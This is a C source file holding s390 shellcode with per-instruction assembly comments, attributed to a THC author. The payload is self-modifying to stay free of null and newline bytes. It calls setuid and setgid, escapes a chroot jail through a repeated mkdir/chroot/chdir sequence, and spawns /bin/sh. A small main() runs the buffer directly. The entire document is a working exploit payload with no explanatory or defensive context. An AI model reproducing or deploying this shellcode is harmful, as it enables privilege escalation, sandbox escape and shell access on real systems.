/*----------------------------------------------------------------------*/ /* s390 shellcode 0x0a / 0x0 free */ /* setuid / setgid / chroot break */ /* code jcyberpunk@thehackerschoice.com */ /*----------------------------------------------------------------------*/ char shellcode[] = "\x0d\x10" /* basr %r1,0 */ "\x41\x90\x10\x98" /* la %r9,152(%r1) */ "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ "\xa7\x68\x04\x56" /* lhi %r6,1110 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x98" /* stc %r6,152(%r1) */ "\x17\x22" /* xr %r2,%r2 */ "\x42\x20\x10\x9f" /* stc %r2,159(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x7a" /* lhi %r6,1146 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x41\x20\x10\x9c" /* la %r2,156(%r1) */ "\x17\x33" /* xr %r3,%r3 */ "\xa7\x68\x04\x73" /* lhi %r6,1139 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x41\x20\x10\x9c" /* la %r2,156(%r1) */ "\xa7\x68\x04\x89" /* lhi %r6,1161 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\xb8\x05\x39" /* lhi %r11,1337 */ "\x1a\xba" /* ar %r11,%r10 */ "\xa7\x68\x04\x58" /* lhi %r6,1112 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x41\x20\x10\x9d" /* la %r2,157(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x46\xb0\x10\x58" /* bct %r11,88(%r1) */ "\x41\x20\x10\x9e" /* la %r2,158(%r1) */ "\xa7\x68\x04\x89" /* lhi %r6,1161 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x57" /* lhi %r6,1111 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x99" /* stc %r6,153(%r1) */ "\x41\x20\x10\xa0" /* la %r2,160(%r1) */ "\x50\x20\x10\xa8" /* st %r2,168(%r1) */ "\x41\x30\x10\xa8" /* la %r3,168(%r1) */ "\x17\x44" /* xr %r4,%r4 */ "\x42\x40\x10\xa7" /* stc %r4,167(%r1) */ "\x50\x40\x10\xac" /* st %r4,172(%r1) */ "\x41\x40\x10\xac" /* la %r4,172(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x0b\x17" /* svc 23 <--- after modification */ "\x07\xfe" /* br %r14 */ "\x41\x2e\x2e\x5c" /* A.. <---- used for mkdir,chroot,chdir */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x73\x68\x5c"; /* /sh\\ */ main() { void (*z)()=(void*)shellcode; z(); }